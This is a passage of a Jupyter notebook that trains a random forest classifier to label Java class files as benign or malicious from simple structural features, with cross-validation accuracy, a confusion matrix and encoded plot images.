OtIt4YjuRPxeJEmSVMUgj3RD\n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\n", + "text": [ + "" + ] + } + ], + "prompt_number": 135 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### First we try classifying binaries just based on some simple features we already have" + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "my_seed = 1022\n", + "my_tsize = .2" + ], + "language": "python", + "metadata": {}, + "outputs": [], + "prompt_number": 136 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "import sklearn.ensemble\n", + "clf_simple = sklearn.ensemble.RandomForestClassifier(n_estimators=50)\n", + "simple_features = ['acc_abstract', 'acc_annotation', 'acc_enum', 'acc_final', 'acc_interface',\n", + " 'acc_public', 'acc_super', 'acc_synthetic', 'ap_count', 'constant_pool_count',\n", + " 'entropy', 'size', 'interface_count', 'major version', 'methods_count', 'minor version']\n", + "\n", + "X = df.as_matrix(simple_features)\n", + "y = np.array(df['label'].tolist())\n", + "\n", + "scores = sklearn.cross_validation.cross_val_score(clf_simple, X, y, cv=10)\n", + "print(\"Accuracy: %0.3f (+/- %0.3f)\" % (scores.mean(), scores.std() * 2))" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "output_type": "stream", + "stream": "stdout", + "text": [ + "Accuracy: 0.927 (+/- 0.044)\n" + ] + } + ], + "prompt_number": 137 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### Not terribly great, but we're just getting started." + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "import sklearn.ensemble\n", + "from sklearn.metrics import confusion_matrix\n", + "from sklearn.cross_validation import train_test_split\n", + "\n", + "# 80/20 Split for predictive test\n", + "X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\n", + "clf_simple.fit(X_train, y_train)\n", + "y_pred = clf_simple.predict(X_test)\n", + "labels = ['benign', 'malicious']\n", + "cm = confusion_matrix(y_test, y_pred, labels)\n", + "plot_cm(cm, labels)" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "output_type": "stream", + "stream": "stdout", + "text": [ + "Confusion Matrix Stats\n", + "benign/benign: 93.07% (94/101)\n", + "benign/malicious: 6.93% (7/101)\n", + "malicious/benign: 10.68% (11/103)\n", + "malicious/malicious: 89.32% (92/103)\n" + ] + }, + { + "metadata": {}, + "output_type": "display_data", + "png": "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